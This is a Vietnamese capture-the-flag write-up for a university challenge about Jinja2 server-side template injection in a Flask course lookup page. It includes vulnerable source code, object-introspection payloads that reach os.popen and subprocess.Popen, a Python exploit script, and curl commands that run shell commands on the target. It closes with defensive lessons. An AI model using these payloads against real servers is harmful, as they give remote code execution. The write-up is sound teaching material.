Web
Medium
200 points
Course List
Recuite 2025 - HCMUS
6 tháng 10, 2025
SSTI
Server-Side Template Injection
Jinja2
Flask

Web
Course List - Write-up#
Thông Tin Challenge#
- Danh mục: Web
- Độ khó: Trung bình
- Lỗ hổng: Server-Side Template Injection (SSTI)
Tổng Quan#
Challenge này là một hệ thống tra cứu môn học của trường đại học. Application sử dụng Flask's render_template_string() với input do user kiểm soát, tạo ra lỗ hổng Server-Side Template Injection (SSTI) trong Jinja2 template engine.
Lỗ Hổng: SSTI (Server-Side Template Injection)#
Phân Tích Source Code#
pythondef get_source_code(course_code, course_name):
return '''
<!DOCTYPE html>
...
<tr>
<td>''' + course_code + '''</td>
<td>''' + course_name + '''</td>
</tr>
...
'''
@app.route('/', methods=['GET'])
def show_course():
course_code = request.args.get('courseCode')
if not course_code:
course_code = "CSC10007"
try:
course_name = courses_dictionary[str(course_code)]
except:
course_name = "That course does not exists."
site = get_source_code(course_code, course_name)
return render_template_string(site) # ⚠️ Lỗ hổng!
Vấn đề:
- Parameter
course_codetừ GET request được inject trực tiếp vào HTML string - HTML string sau đó được truyền vào
render_template_string() - Jinja2 template engine sẽ evaluate bất kỳ template expressions nào trong string
SSTI Cơ Bản#
Phát Hiện Lỗ Hổng#
Test với các payloads phổ biến:
python# Biểu thức toán học
{{7*7}} # Output: 49
{{7*'7'}} # Output: 7777777
# Python expressions
{{config}} # Flask config object
{{self}} # Template context
URL Encoding#
/?courseCode={{7*7}}
/?courseCode=%7B%7B7*7%7D%7D
Khai Thác#
Bước 1: Xác Nhận SSTI#
GET /?courseCode={{7*7}} HTTP/1.1
Host: target.com
Response: Hiển thị "49" trong trường course code
Bước 2: Truy Cập Python Built-ins#
Jinja2 sandboxing có thể bypass thông qua object introspection:
python# Lấy subclasses của object class
{{''.__class__.__mro__[1].__subclasses__()}}
# Tìm các classes hữu ích (e.g., subprocess.Popen, os._wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[X]}}
Bước 3: Remote Code Execution#
Payload để đọc flag:
python# Dùng os.popen
{{''.__class__.__mro__[1].__subclasses__()[X]('cat flag.txt',shell=True,stdout=-1).communicate()}}
# Dùng eval
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
# Dùng open()
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}
Bước 4: Tìm Index Subclass Đúng#
python# Liệt kê tất cả subclasses để tìm cái hữu ích
{% for i in range(500) %}
{{i}}: {{''.__class__.__mro__[1].__subclasses__()[i]}}
{% endfor %}
Tìm các class:
subprocess.Popen(index có thể thay đổi)os._wrap_closewarnings.catch_warnings
Exploit Hoàn Chỉnh#
Python Script#
pythonimport requests
import urllib.parse
url = "http://target.com/"
# Payload cho RCE
payload = """{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat flag.txt').read()}}"""
# URL encode
encoded_payload = urllib.parse.quote(payload)
# Gửi request
response = requests.get(f"{url}?courseCode={encoded_payload}")
# Trích xuất flag từ response
print(response.text)
Khai Thác Thủ Công#
bash# Bước 1: Tìm index của subprocess.Popen
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()}}"
# Bước 2: Test RCE với lệnh 'id'
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('id',shell=True,stdout=-1).communicate()}}"
# Bước 3: Đọc flag
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('cat+flag.txt',shell=True,stdout=-1).communicate()}}"
Bài Học Rút Ra#
- Không bao giờ dùng render_template_string với user input
- Luôn dùng file template riêng với
render_template() - Jinja2 autoescape chỉ hoạt động với template files, không phải template strings
- Sanitize và validate mọi user inputs
- Defense in depth - nhiều lớp bảo mật
200
Points
Medium
Difficulty
Web
Category